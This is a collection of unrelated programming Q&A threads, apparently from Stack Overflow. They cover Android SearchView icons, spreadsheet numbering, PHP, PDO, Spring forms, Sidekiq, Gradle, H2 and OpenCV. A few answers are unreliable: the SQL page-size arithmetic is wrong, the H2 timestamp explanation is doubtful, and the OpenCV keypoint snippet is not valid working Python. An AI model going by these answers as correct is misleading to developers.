Q: Extending Android SearchView I have a custom Android SearchView in my application. I am trying to extend it by adding custom icons-camera for ImageSearch functionality.
I have tried to extend it by using onCreateActionMode of its searchTextView s, but, the icon is not showing up. I want the icon to be added inside by SearchView. Here is my code :
public class CabSearchView extends SearchView {
private static final boolean DEFAULT_CAB_ENABLED = true;
private static final int IMAGESEARCH = 0;

private boolean mCabEnabled;

public CabSearchView(Context context) {
    this(context, null);
}

public CabSearchView(Context context, AttributeSet attrs) {
    this(context, attrs, android.support.v7.appcompat.R.attr.searchViewStyle);
}

public CabSearchView(Context context, AttributeSet attrs, int defStyleAttr) {
    super(context, attrs, defStyleAttr);

    int themedIconColor = R.color.white;
    SearchView.SearchAutoComplete searchSrcTextView = (SearchView.SearchAutoComplete)findViewById(R.id.search_src_text);
    searchSrcTextView.setCustomSelectionActionModeCallback(new Callback());
    searchSrcTextView.setTextColor(getResources().getColor(themedIconColor));
    searchSrcTextView.setHintTextColor(getResources().getColor(themedIconColor));
    ImageView searchMagIcon = (ImageView)findViewById(R.id.search_mag_icon);
    searchMagIcon.setColorFilter(getResources().getColor(themedIconColor));
    ImageView searchCloseBtn = (ImageView) findViewById(R.id.search_close_btn);
    searchCloseBtn.setColorFilter(getResources().getColor(themedIconColor));
    addFilter(searchSrcTextView, new PlainTextInputFilter());

    initLayoutAttributes(attrs, defStyleAttr);
}

public boolean isCabEnabled() {
    return mCabEnabled;
}

public void setCabEnabled(boolean enabled) {
    mCabEnabled = enabled;
}

private void addFilter(TextView textView, InputFilter filter) {
    InputFilter[] filters = textView.getFilters();
    InputFilter[] newFilters = Arrays.copyOf(filters, filters.length + 1);
    newFilters[filters.length] = filter;
    textView.setFilters(newFilters);
}

private void initLayoutAttributes(AttributeSet attrs, int defStyleAttr) {
    TypedArray attrsArray = getContext().obtainStyledAttributes(attrs,
            R.styleable.CabSearchView, defStyleAttr, 0);

    setCabEnabled(attrsArray.getBoolean(R.styleable.CabSearchView_cabEnabled,
            DEFAULT_CAB_ENABLED));

    attrsArray.recycle();
}

private class Callback implements ActionMode.Callback {
    @Override
    public boolean onCreateActionMode(ActionMode mode, Menu menu) {

        menu.add(0, IMAGESEARCH, 0,
  "ImageSearch").setIcon(R.drawable.ic_camera_white_24dp);
        return isCabEnabled();
    }

    @Override
    public boolean onPrepareActionMode(ActionMode mode, Menu menu) {
        return false;
    }

    @Override
    public boolean onActionItemClicked(ActionMode mode, MenuItem item) {
        return false;
    }

    @Override
    public void onDestroyActionMode(ActionMode mode) { }
}

private static class PlainTextInputFilter implements InputFilter {
    @Override
    public CharSequence filter(CharSequence source, int start, int end, Spanned dest,
                               int dstart, int dend) {
        return RichTextUtil.stripRichText(source, start, end).subSequence(start, end);
    }
}
}

In other case, I tried this :
ImageView camImageView = new ImageView(this.fragment.getActivity());
camImageView .setImageResource(R.drawable.ic_camera_white_24dp);
((LinearLayout) searchView.getChildAt(0)).addView(camImageView,0);

In this case, the image is showing up at the extreme left of the actual searchView.
I expected the icon to be included in the searchTextview before the close button, but, it is either not showing up or showing at the extreme left or right depending upon its placement as a child view of the searchTextView.

Expected

Current

A: I used a simple Search View, it should work with your Search View class as well.
Below is the code.
SearchView searchView = findViewById(R.id.searchView);

ImageView camImageView = new ImageView(this);
camImageView .setImageResource(R.drawable.ic_launcher_foreground);
int getTotalChild = searchView.getChildCount();
((LinearLayout) searchView.getChildAt(getTotalChild-1)).addView(camImageView);

In your case the index should be getTotalChild - 2 for the last line in the code.
It should work.


text:
Q: How to add progressive 'count' in rows How do I format cells such that when entering data, formatting automagically add a number before the text such that the number is equal to a number+1 from a an adjacent cell (in my case from above)

A: or you could use the ROW() function instead of a hidden column
If your table starts on row 8, column B, then in cell C8 have

=CONCATENATE(ROW(B8)-7," ",B8)

The 7 is 1 less than the row number of the starting row, and stays the same all the way down.

Don't forget the space between the number and the word with the ," ", in the middle of the concatenate function.

A: You can add a (hidden if required) column that contains the numbers, and at the last column use Concatenate like this:

A: This is more of a hack
It assumes you won't be using Row 1 (if you do, you'll have to add different code for that row or manually enter the value.
It also assumes there will be no gaps in your lists.
This also only goes up to 99!
=IF(A5="","",CONCATENATE(IF(C4<>"",LEFT(C4,2)+1,"1")," " & A5))

In Row C1 I manually typed in the 0 just to show it's not in use.


text:
Q: Database Search on unique column: Long string or many int's or long's? I'm not sure what Database I will be going with (more likely SQL Server Express), so I don't know if that makes a difference (or that much of a difference) to matter.
Basically I am looking to store my object in a database so I can search for a unique object.
public class FooBar
{
    public GridItem[,]  Items { get; set; } //This is a 5x4 grid
}

public enum GridItem
{
    a = 0,
    b,
    c
}

At first I represented each GridItem as a 2 character binary (A = 00, B = 01, C = 10 -- I don't think this bogged my application that much building the string from the array) which gave me a 40 character string. I can search for this string in the database to match, but it got me thinking. Is it more efficient to leave each GridItem as an Int32 (or Int64) and search the database to see if ALL columns (GItem00, GItem01, ... GItem54) matches up to their appropriate row/column GridItem. I think the Int32 vs Int64 would probably have to do with the processor, so that's not as big of a deal. Basically, if speed is my #1 concern (not storage) which is better... spit out an 80 character string or store 20 different Int32's into the Database and search on those columns?
Or, is there something even better, such as serializing the object into a binary and somehow being able to search for a matching blob? I'm not really a database guy, so I have no idea.

A: I have not faced such issue before, but I have some theories about better speed.
When system persist data as 40-byte characters and there is a index on it, the index would be as short as enough to distinguish the exactly record poisition of data. For example:
0101101.... => 010(3-byte index)
0111111.... => 011(3-byte index)

In another way, when system persist data as 8-byte(Int64) integer and there is a index on it, the index should be exactly 8 bytes per record.
In generic database theory, the less storage used, the more query performance gained.
If your data is much enough that database need all of the characters(40-byte character) to index the record, the size of index would be 40-byte on some records.
And the 8-byte integer index, as explained, still stay in 8 bytes however data grown.
There is a precondition in above theory: the matched data should only occupy as a small part of all.
There is a significant factor to concern for effort of index maintenance: You need 20 indexes(logically) to speed up the 20 Int32's strategy. There is only one index, indeed, needed for 80-character strategy and for single Int64 strategy.

Let's explain if the index doesn't work, which means the database system execute query using full-table-scan(FTS) strategy.
We assume the 40-byte(character) data is persisted as 40 bytes per record, every page in SQL Server can hold 8K * 1024 / 40 = 204 records.
For 8-byte(Int64) data with 8 bytes per record, every page in SQL Server can hold 8K * 1024 / 8 = 1024 records.
If you have 20000 records, database need 20000 / 204 = 99 I/O's to perform FTS, and 20000 / 1024 = 20 I/O's for the other one.
The less I/O's needed, the more performance gained.

A: Enums are not very usefull for this, if you know which index number you want, simply access the data there. Also after Foo[,] you should specify variable name, you cannot use the enum name there.

A: If I understand your question correctly, you want to match entire instances of FooBar (or binary representation of it) in database?
5x4 grid = 20 items, 2 bit each = 40bit = 5 bytes => Int64 column. You can't get anything faster satisfying your requirements.


text:
Q: Gradle Artifactory Plugin - Difference Between Plugin And Repositories Block I am using Gradle 7.3.3 with the Artifactory Plugin.
I have notices that there is a section to resolve dependencies in the artifactory plugin section itself:
artifactory {
  contextUrl = "https://my.repo"
  publish {...}

  resolve {
    repository {
      repoKey = '<my repo key>'
      maven = true
    }
  }
}

However, there is also the repository block which contains a reference to a repository:
repositories {
  maven {
    url "https://my.repo/<my repo key>"
  }
  mavenLocal()
}

My question is what is the difference between these two?
do I need to use only one of them? Do I need to put same values in both?
I didn't see any documentation in JFrog docs.

A: A rule of thumb says that undocumented methods are internal and should not be used. AFAIK, the two methods should be identical.
Unless you have a very specific use case with a rare repository configuration, you'd may prefer using only the official Gradle's repositories scope. Just make sure to use the Artifactory repository above mavenCentral() in order to enjoy the benefits of Artifactory - build info, performance, security, etc.
Sources:

*

*Official documentation

*Examples


text:
Q: H2 timestamp - Always inserting (or getting) the current Date I am new in SpringBoot and I create an application using embedded DB H2.
CREATE TABLE IF NOT EXISTS t_occurrence (
   id     bigint PRIMARY KEY,
   where  varchar(100),
   when   timestamp null
);

I use this class to insert values, but whatever I insert I always get the current date when I do occurrence.getWhen()
int numOfRowsAffected = jdbcTemplate.update(
    "insert into t_occurrence (ID, where, when) "
    + " values (?,?,?);",
    id,
    occurrence.getWhere(),
    occurrence.getWhen()
);

if (numOfRowsAffected==1) return id;
else return -1;

Even hardcoding the time
int numOfRowsAffected = jdbcTemplate.update(
        "insert into t_occurrence (ID, where, when) "
        + " values (?,?,''2012-09-17 18:47:52.69');",
        id,
        occurrence.getWhere(),
        occurrence.getWhen()
    );

    if (numOfRowsAffected==1) return id;
    else return -1;

public class Occurrence {

private Long id;

private Date when;

private String where;

public Long getId() {

    return id;

}

public void setId(Long id) {

   this.id = id;

}

public Date getWhen() {

   return when;

}

public void setWhen(Date when) {

this.when = when;

}

public String getWhere() {

return where;

}

public void setWhere(String where) {

this.where = where;

}

}

A: You should use Type of "Date" and Type of "Time" for when not use "timestamp"
Type of "timestamp" is auto general by server


text:
Q: Get instances from a DLL/Assembly? I got the following code that generates a DLL :
public class MyObject : DependencyObject
{
}

public class Timer : DependencyObject
{
}

public class AnotherClass
{
}

public class Test
{
    public static void Main()
    {
        MyObject q1 = new MyObject();
        MyObject q2 = new MyObject();
        MyObject q3 = new MyObject();
        MyObject q4 = new MyObject();

        Timer t1 = new Timer();
        Timer t2 = new Timer();
        Timer t3 = new Timer();

        AnotherClass a1 = new AnotherClass();
        AnotherClass a2 = new AnotherClass();
        AnotherClass a3 = new AnotherClass();
    }
}

Then I'd like to extract instances from my DLL file. Here is what I got for the moment :
var library = Assembly.LoadFrom(libraryPath);

But then, I havent any idea about how to extract my 10 instances (4 MyObjects, 3 Timers & 3 AnotherClasses). The only thing I managed to get is the 4 classes (MyObject, Timer, AnotherClass and Test) with the code :
IEnumerable<Type> types = library.GetTypes();

but I think this is not the way I'll get my 10 instances...
(ps : I'm not even sure that the 10 instances are contained in my DLL file...)

A: Your question doesn't make any sense.
Those instances only exist as you execute Main().
If Main() contains a loop that depends on user input, what would you want to get?


text:
Q: compare 2 variables in php if ($ct >= $count){
  echo "ct=$ct and count=$count
";
  echo "a";
  return 0; //No record deleted in the datatable
}elseif ($ct < $count){
  echo "ct=$ct and count=$count
";
  echo "b";
  return 1; //Record deleted in the datatable
}

The output is:
ct=1 and count=2
a

That means "1 >= 2" is true.... How is that possible??? How can I fix it???? I'm driving crazy with this code ... That's the first time happening something like that

A: if $ct is a boolean, then in this expression:
if ($ct >= $count){

$count will be converted to a boolean for the comparison. A non-zero number will evaluate to true, so the condition $ct >= $count will be satisfied, because true == true.
In this expression:
echo "ct=$ct and count=$count
";

The boolean true is converted to a string, and the string equivalent of true is '1'.


text:
Q: Bind a Map (key and value) to spring form in jsp I have a class like this:
public class MyClass {
    private Map<String, String> properties = new HashMap<String, String>();
}

I need a form where the user can add key value pairs in the properties map. All SO answers I've found on this just show how to use an already known key to enter a value using:
<form:input path="properties['keyName']" />

How can I make the key editable also? I something like...
<form:input path="properties.key" /><form:input path="properties.value" />

A: I got this working and had to find this page again to provide my answer.
I was dynamically adding a key and value map to my <form> and my solution had an input for the key and a separate input for the value. I then registered a change listener on the key to update the name on the value input.
For me, the hard part is that JQuery did not have access to the ID of the dynamically added key/value elements. This meant that if the map was already populated, I could use JQuery with no problem, but if it was a new entry I had problems and doing a search on the value input's ID was not successful.
To solve this, I had to essentially travel the DOM to get to the value input. Here is my code JSP code.
<c:forEach var="points" items="${configuration.pointsValueMap}" varStatus="index">

    Type:
    <input type="text" id="pointMap[${index.index}]" class="pointMap" value="${points.key}"> :

    Value:
    <input type="text" id="pointMap[${index.index}]-value" name="pointsValueMap[${points.key}]" value="${points.value}">

</c:forEach>

And here is my JS that updated the value of the name path.
/**
 * Register a listener on the form to detect changing the map's key
 */
$('form').on('change', 'input.pointMap', function(){
    var content = $(this).val();
    var id = $(this).attr('id');
    // have to travel the DOM for added elements to be accessed.
    // JQuery does not have visibility to the IDs of added elements
    $(this).parent().next().children('input').attr('name', 'pointsValueMap['+content+']');
    // if you are not dynamically adding key/values then
    // all fields are accessible by JQuery and you can update by:
    $('#'+id+'-value').attr('name', 'pointsValueMap['+content+']');
});


text:
Q: Rails: How to add Sidekiq::Debounce to my middleware chain I am using Sidekiq debounce to rate limit the number of jobs in a timeframe. Here's my job:
class CalculateAllEventRankingsForUser
  include Sidekiq::Worker
  sidekiq_options debounce: true

  def perform(user_id)
    puts "recalculating all events for user"
    ## do some work
  end

end

Where I call the job:
CalculateAllEventRankingsForUser.perform_in(20.seconds, self.id)

And my sidekiq initializer:
 Sidekiq.configure_server do |config|
  config.client_middleware do |chain|
    chain.add Sidekiq::Debounce
  end
  config.server_middleware do |chain|
    chain.add Sidekiq::Debounce
  end
end

The issue is that all my sidekiq jobs are still being processed, even if I fire multiple within the 20 second time frame. My intention is for only one job to be fired every 20 seconds (maximum).
From the docs:

Add Sidekiq::Debounce to your client middleware chain, and then add
  sidekiq_options debounce: true to the worker you wish to debounce.
Use #perform_in instead of #perform_async to set the timeframe.

The main thing I'm not sure about is how to add Sidekiq::Debounce to my middleware chain. Not sure if I'm doing that right.
Any ideas on how to resolve this?

A: sidekiq-debounce works with sidekiq 4.2. The reason it didn't is likely caused by the way client middleware was configured in the code you've shared.
This should work:
Sidekiq.configure_server do |config|
  config.server_middleware do |chain|
    chain.add Sidekiq::Debounce
  end
end

Sidekiq.configure_client do |config|
  config.client_middleware do |chain|
    chain.add Sidekiq::Debounce
  end
end


text:
Q: PDO Prepared Statement "Invalid Parameter Number" I'm using a function that's been working through my code and I'm slowly now moving from MySQLi to PDO - this function should "simply" take a SQL statement and an array of variables and set up prepared statements, execute it and returns an array with a "success/fail" code and then the lastInsertId.
The function has been working just fine up until now and considering the error I'm getting (and that I'm new to PDO) I wonder where the issue lies.
First, the functions themselves are pretty benign (constants defined elsewhere)
function dbConnect(){
    try {
        if(!defined('PDO::ATTR_DRIVER_NAME')){
            debugPrint('Error: PDO unavailable');
            return false;
        }

        $dsn = 'mysql:host=' . DB_SERVER . ';dbname=' . DB_NAME . ';charset=UTF8';

        $opt = [
            PDO::ATTR_EMULATE_PREPARES => false,
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ];

        $db = new PDO($dsn, DB_USER, DB_PASS, $opt);
        return $db;
    } catch (PDOException $e) {
        debugPrint($e->getMessage());
        return false;
    }
}

function dbInsert($sql, $param){
    $ret = [];
    if(!$pdo = dbConnect()){
        $ret[] = 1;
        return $ret;
    }

    if(!$stmt = $pdo->prepare($sql){
        echo $pdo->errorInfo();
        $ret[] = 1;
        return $ret;
    }

    if(!$stmt->execute($param)){
        echo $pdo->errorInfo();
        $ret[] = 1;
        return $ret;
    } else {
        $ret[] = 0;
        $ret[1] = $pdo->lastInsertId();
        return $ret;
    }

I'm working on code that simply checks to see if an email address appears in a table and if it doesn't, inserts it. I do this checking a lot in my app and about 50% of the time the email supplied will be an existing entry.
$sql = 'insert into customer (email) select :email from DUAL where not exists (select 1 from customer where email = :email)';
$bind = [':email' => 'user@bogus.org'];

This is the neatest approach I've seen thus far, is a single call to the database and uses prepared statements. However, I'm getting the PDO error "Invalid parameter number" and a stack trace error. I've turned on MySQL logging and it appears that the prepare is OK...
Prepare   insert into customer (email) select ? from DUAL where not exists (select 1 from customer where email = ?)

... so I can only think that it's the binding, which would make sense considering the number of parameter error, but the exception seems to come from the execution:
PHP Fatal error:  Uncaught PDOException: SQLSTATE[HY093]: Invalid parameter number in {filename}:78
Stack trace:
    #0 {filename}:78: PDOStatement->execute(Array)
    #1 {callingFile(33)}: dbInsert('insert into cus...', Array)
    #2 {main}
        thrown in {filename} on line 78

As I'm quite new in the PDO foray and keen to learn, I would like to find out where I should be looking to address this issue.
I'm loving the capability of PDO and I'm hoping that this isn't too much of an issue to address, but at the moment I'm at a loss as to finding out why this error is being thrown.  I did wonder if it's because I'm using "1"
Note: 1 I know I can make the email unique within the table, but that would mean the $pdo->execute returns as non-zero, making my function return a non-zero (error) which (at least in my mind) isn't strictly true.
Note: 2 I also know that I could check the table first to see if the email exists and then insert it if it doesn't : however, I'm not sure this is the best way of doing things (and as the code I'm updating currently does this I was of the opinion of making it PDO'ed as well as potentially being cleverer about the SQL calls themselves).
Note: 3 I've also changed the SQL statement to the following:
$sql = 'insert ignore into customer (email) values (:email)';
$bind = [':email' => 'user@bogus.org'];

And this is "OK", but then the auto_incremented primary key in the recipient table skips if an existing email is present (again, trying to keep everything clean, simple and logical) and I really don't want to hack this by appending a (slow) statement altering the table to set auto_increment to 1

A: 1) In your function dbInsert you missed the last parenthesis of the if statement:
if (!$stmt = $pdo->prepare($sql)) {...}

2) As stated in the official documentation for PDO::prepare:

You cannot use a named parameter marker of the same name more than
  once in a prepared statement, unless emulation mode is on.

E.g. You are not allowed to use :email more than once in the sql statement, unless you activate the ATTR_EMULATE_PREPARES option:
PDO::ATTR_EMULATE_PREPARES => TRUE

If you don't, you receive exactly the error that you've presented.
So, either apply the suggestion from above, or let emulation untouched (e.g. to FALSE) and use two different named parameter markers (:email1 and :email2):
$email = 'user@bogus.org';

$sql = 'insert into customer (email) select :email1 from DUAL where not exists (select 1 from customer where email = :email2)';

$bind = [
    ':email1' => $email,
    ':email2' => $email,
];

Or you could use question mark (?) parameter markers:
$email = 'user@bogus.org';

$sql = 'insert into customer (email) select ? from DUAL where not exists (select 1 from customer where email = ?)';

$bind = [
    1 => $email,
    2 => $email,
];

As a very good resource I recommend you this tutorial.


text:
Q: Extract pixel values from an image for CV2.Keypoints objects I have a tuple (Keypoints, Descriptors) extracted from img1 using the method:
(kp, des) = sift.detectAndCompute(img1,None)

kp is a list containing cv2.KeyPoint objects, and
des is a numpy.array containing their 128 dimensional descriptors
I want to retrieve for each keypoint a pixel value taken from another image img2 of the same size and store them in the tuple (kp, des) to have in the end a tuple like (kp, des, pixel_values)
Thank you very much in advance.

A: You can access pixel coordinates from kp. Like below:
kp[0].pt

and i think following code does what you want:
(kp[i], des[i], img2[kp[i].pt] for i in range(len(kp)))